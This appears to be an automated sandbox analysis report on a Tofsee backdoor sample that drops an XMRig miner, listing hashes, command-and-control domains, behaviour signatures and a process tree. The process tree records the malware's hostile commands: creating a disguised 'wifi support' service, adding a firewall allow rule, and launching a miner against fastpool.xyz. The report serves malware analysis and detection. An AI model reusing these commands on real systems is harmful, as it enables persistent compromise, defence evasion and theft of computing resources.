Analysis

  • max time kernel
    146s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    12-06-2022 16:27

General

  • Target

    cf588ede4411f59c745c1be6a146cf413e7ecb3e587052d9c5f0c894b325e336.exe

  • Size

    184KB

  • MD5

    53915f470e6dac5ff176435c9c2dc9a0

  • SHA1

    2ba83fcac1347a9e27fbfbb43f96caa3214fb563

  • SHA256

    cf588ede4411f59c745c1be6a146cf413e7ecb3e587052d9c5f0c894b325e336

  • SHA512

    c35352b06c8819e4cb2dcb15da03368466fc0fdfde9fe166c747e91db4cab2a0e9cade12874fe994b32522b14f43979bb1ef9ec632bc42f96c60f9f0442d3b9b

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cf588ede4411f59c745c1be6a146cf413e7ecb3e587052d9c5f0c894b325e336.exe
    "C:\Users\Admin\AppData\Local\Temp\cf588ede4411f59c745c1be6a146cf413e7ecb3e587052d9c5f0c894b325e336.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uvanokg\
      2⤵
        PID:1364
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\uxgdrkcl.exe" C:\Windows\SysWOW64\uvanokg\
        2⤵
          PID:3292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uvanokg binPath= "C:\Windows\SysWOW64\uvanokg\uxgdrkcl.exe /d\"C:\Users\Admin\AppData\Local\Temp\cf588ede4411f59c745c1be6a146cf413e7ecb3e587052d9c5f0c894b325e336.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uvanokg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uvanokg
          2⤵
          • Launches sc.exe
          PID:5112
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1660
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3152 -s 1272
          2⤵
          • Program crash
          PID:4428
      • C:\Windows\SysWOW64\uvanokg\uxgdrkcl.exe
        C:\Windows\SysWOW64\uvanokg\uxgdrkcl.exe /d"C:\Users\Admin\AppData\Local\Temp\cf588ede4411f59c745c1be6a146cf413e7ecb3e587052d9c5f0c894b325e336.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5032
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1172
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3756 -s 524
          2⤵
          • Program crash
          PID:4356
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3152 -ip 3152
        1⤵
          PID:3360
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3756 -ip 3756
          1⤵
            PID:5024

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\uxgdrkcl.exe
            Filesize

            11.6MB

            MD5

            a67fa2c422185b5bfe1b9ed6226ce1d1

            SHA1

            6cc00e8903126540c765a6b2c644eb315c2baa29

            SHA256

            1d17fd8fff29e9dcd20de6c7bf65a7f90351b0629b563d16643c6d4d69bee4da

            SHA512

            f56d97fd088696796443f77940c1154355ac2aebbd0eb5c7c6ae63012e3d0545657757a8d301c968bc4f8e3e16cfb9dcd8f784956172e5a90f88140e8c4287a4

          • C:\Windows\SysWOW64\uvanokg\uxgdrkcl.exe
            Filesize

            11.6MB

            MD5

            a67fa2c422185b5bfe1b9ed6226ce1d1

            SHA1

            6cc00e8903126540c765a6b2c644eb315c2baa29

            SHA256

            1d17fd8fff29e9dcd20de6c7bf65a7f90351b0629b563d16643c6d4d69bee4da

            SHA512

            f56d97fd088696796443f77940c1154355ac2aebbd0eb5c7c6ae63012e3d0545657757a8d301c968bc4f8e3e16cfb9dcd8f784956172e5a90f88140e8c4287a4

          • memory/1172-175-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1172-170-0x0000000000E00000-0x0000000000EF1000-memory.dmp
            Filesize

            964KB

          • memory/1172-169-0x0000000000000000-mapping.dmp
          • memory/1364-133-0x0000000000000000-mapping.dmp
          • memory/1660-140-0x0000000000000000-mapping.dmp
          • memory/3152-142-0x0000000000400000-0x0000000000649000-memory.dmp
            Filesize

            2.3MB

          • memory/3152-141-0x000000000082E000-0x000000000083C000-memory.dmp
            Filesize

            56KB

          • memory/3152-132-0x0000000000400000-0x0000000000649000-memory.dmp
            Filesize

            2.3MB

          • memory/3152-130-0x000000000082E000-0x000000000083C000-memory.dmp
            Filesize

            56KB

          • memory/3152-131-0x00000000007A0000-0x00000000007B3000-memory.dmp
            Filesize

            76KB

          • memory/3292-134-0x0000000000000000-mapping.dmp
          • memory/3756-147-0x00000000006C9000-0x00000000006D7000-memory.dmp
            Filesize

            56KB

          • memory/3756-148-0x0000000000400000-0x0000000000649000-memory.dmp
            Filesize

            2.3MB

          • memory/4216-137-0x0000000000000000-mapping.dmp
          • memory/4264-136-0x0000000000000000-mapping.dmp
          • memory/5032-144-0x0000000000C30000-0x0000000000C45000-memory.dmp
            Filesize

            84KB

          • memory/5032-150-0x0000000000C30000-0x0000000000C45000-memory.dmp
            Filesize

            84KB

          • memory/5032-151-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/5032-154-0x0000000001FA0000-0x0000000001FA6000-memory.dmp
            Filesize

            24KB

          • memory/5032-157-0x0000000001FB0000-0x0000000001FC0000-memory.dmp
            Filesize

            64KB

          • memory/5032-160-0x0000000002DD0000-0x0000000002DD5000-memory.dmp
            Filesize

            20KB

          • memory/5032-163-0x0000000007800000-0x0000000007C0B000-memory.dmp
            Filesize

            4.0MB

          • memory/5032-166-0x0000000002DE0000-0x0000000002DE7000-memory.dmp
            Filesize

            28KB

          • memory/5032-149-0x0000000000C30000-0x0000000000C45000-memory.dmp
            Filesize

            84KB

          • memory/5032-143-0x0000000000000000-mapping.dmp
          • memory/5112-138-0x0000000000000000-mapping.dmp